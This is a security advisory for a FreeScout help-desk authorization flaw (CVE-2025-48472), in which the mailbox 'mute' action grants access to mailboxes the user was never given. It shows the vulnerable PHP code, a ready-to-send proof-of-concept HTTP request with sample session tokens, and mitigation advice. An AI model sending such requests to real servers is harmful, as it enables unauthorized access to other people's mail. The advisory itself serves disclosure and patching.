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Insufficient authorization [1]

Moderate
freescout-help-desk published GHSA-f62r-8354-8pqg May 28, 2025

Package

No package listed

Affected versions

<1.8.179

Patched versions

1.8.179

Description

Insufficient authorization [1]

Product: FreeScout
Version: v.1.8.173 and 1.8.174
CWE-ID: CWE-863: Incorrect Authorization
CVSS vector v.4.0: 6.9 (AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N)
Description: the application incorrectly checks user access rights. An attacker can gain access to information or functionality that does not correspond to the privileges granted to them.
Vulnerable scenario:
/mailbox/ajax
Vulnerable parameters: mailbox_id
Exploitation conditions: unauthorized user
Vulnerable code:
Listing. Vulnerable code (/app/Http/Controllers/MailboxesController.php 821-841)

case 'mute':
	$mailbox = Mailbox::find($request->mailbox_id);

	if (!$mailbox) {
		$response['msg'] = __('Mailbox not found');
	}

	if (!$response['msg']) {

		$mailbox_user = $user->mailboxesWithSettings()->where('mailbox_id', $mailbox->id)->first();
		if (!$mailbox_user) { 
			// User may not be connected to the mailbox yet
			$user->mailboxes()->attach($mailbox->id);
			$mailbox_user = $user->mailboxesWithSettings()->where('mailbox_id', $mailbox->id)->first();
		}
		$mailbox_user->settings->mute = (bool)$request->mute;
		$mailbox_user->settings->save();

		$response['status'] = 'success';
	}
break;

Mitigation: implement user privilege checking when performing actions. The procedures for user identification, authentication, and authorization must be implemented flawlessly.
To protect against vulnerabilities, it is recommended to implement effective access control to resources and verify user privileges before providing access to confidential data or allowing actions to be performed within the System. To achieve this, the following guidelines should be followed:
• Users should not have access to any functionality or information by directly accessing the application page;
• Pages containing confidential information should not be cached;
• Access to each page should be restricted by a session authentication token associated with the user who has the necessary permissions to access that page;
• The access control mechanism should be performed on the server-side;
• It is recommended to use a proven library or framework that prevents or limits attacks on the authorization mechanism, such as the JAAS Authorization Framework and OWASP ESAPI Access Control.

Researchers: Artem Deikov, Ilya Tsaturov, Daniil Satyaev, Roman Cheremnykh, Artem Danilov, Stanislav Gleym (Positive Technologies)

Research

Researcher discovered zero-day vulnerability in FreeScout.
During the research, it was found that in the code, there is no check to ensure that the user is disabling notifications for the mailbox to which they already have access. Moreover, the code explicitly implements functionality that if the user does not have access to the mailbox, then after disabling (enabling) notifications for this mailbox, the user will gain access to it.

Listing. Request to disable the notifications

POST /mailbox/ajax HTTP/1.1
Host: 188. ***.***.***
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-CSRF-TOKEN: OYnoDl4uyDWCOfbSttiSIxYKRKKiatstOhXt6eUi
X-Requested-With: XMLHttpRequest
Content-Length: 31
Cookie: XSRF-TOKEN=eyJpdiI6IklxbFRKVE1NcnVJRGZoM1B0dDFwN3c9PSIsInZhbHVlIjoiN1ZaRmxvaktoRE1WbWR5SlRpMlZsVUhMSWJXT0NCZWFPMVwvYzJtejNMRkdxWFl0bGo3K3FJNzFoeXBUbjdRTlkiLCJtYWMiOiI1YmNiY2RmODgwM2U4ZDM2ZDc0M2Q4YjJmNzg2Njg4ZGFjZmJhNjhlMzcwZTEzNmEzMjQ5NTQ4ODNhYTI1NjZmIn0%3D; laravel_session=eyJpdiI6InRoNnpWckdlQ01iSGZBU25pY0wxTVE9PSIsInZhbHVlIjoiRit2V3pDcGR0RFZHTTJ4TmN6YWwxcVYzbWZiejI2bjZybXVOM1R4d3BuY2gxaXp2VW9oUEV0Yk0xdWNQMEpUekc3dkF2cEFRRXArdmU2SE5WOEtQS1lVU012QWhtRVRoQyt5d21qbGsyYjVod1AwOWJhOW9xR0dhUyswUVNTMFgiLCJtYWMiOiJhYjdmOTkzYWJmMzg1Y2EwZjQyMTgwNTk1NTcxODAxZTdiNGRkYzcxM2Q5MDA1N2ZiY2JjZWM1YmZiYTA0MTdhIn0%3D

action=mute&mailbox_id=1&mute=1

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality Low
Integrity Low
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

CVE ID

CVE-2025-48472

Weaknesses

Incorrect Authorization

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. This allows attackers to bypass intended access restrictions. Learn more on MITRE.